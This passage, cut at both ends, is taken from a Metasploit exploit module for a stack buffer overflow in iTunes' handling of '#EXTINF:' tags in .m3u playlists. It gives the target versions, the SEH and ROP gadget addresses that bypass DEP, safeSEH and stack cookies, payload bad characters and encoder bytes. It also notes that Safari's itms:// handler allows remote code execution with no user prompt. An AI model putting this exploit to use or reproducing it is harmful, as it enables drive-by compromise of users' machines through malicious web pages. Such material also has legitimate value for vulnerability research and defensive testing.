When opening an extended .m3u file containing an "#EXTINF:" tag description, iTunes will copy the content after "#EXTINF:" without appropriate checking from a heap buffer to a stack buffer and write beyond the stack buffers boundary. This allows arbitrary code execution. The Windows XP target has to have QuickTime 7.7.2 installed for this module to work. It uses a ROP chain from a non safeSEH enabled DLL to bypass DEP and safeSEH. The stack cookie check is bypassed by triggering a SEH exception. }, ## NOTE ## # Exploit works best if iTunes is not running and the user browses to a malicious page. # But even if iTunes is already running and playing music, the exploit worked reliably # # remote code execution is possible via itms:// handler, which instructs a browser to open # iTunes: # Safari does not prompt for iTunes itms links -> RCE without user interaction # Firefox, Opera, and IE ask the user for permission to launch iTunes # Chrome asks for permission and spits a big warning 'Author' => [ 'Rh0 <rh0 [at] z1p.biz>' # discovery and metasploit module ], 'Version' => '0.0', 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => ['win'], 'Payload' => { 'Space' => 1000, 'BadChars' => "x00x0ax0d", 'DisableNops' => true, 'PrependEncoder' => "x81xc4xfcxfbxffxff" # ADD ESP, -0x404 }, 'Targets' => [ ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.7.2 - Windows XP SP3 EN Professional', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'SEH' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts v7.7.2] 'ROP_NOP' => 0x66801044 # RET } ] ], 'DefaultTarget' => 0 )) register_options( [ # IP has to be an reachable address and not 0.0.0.0 as it is used to redirect the browser to itms://<IP> OptString.new('SRVHOST', [true, "The local host to listen on.
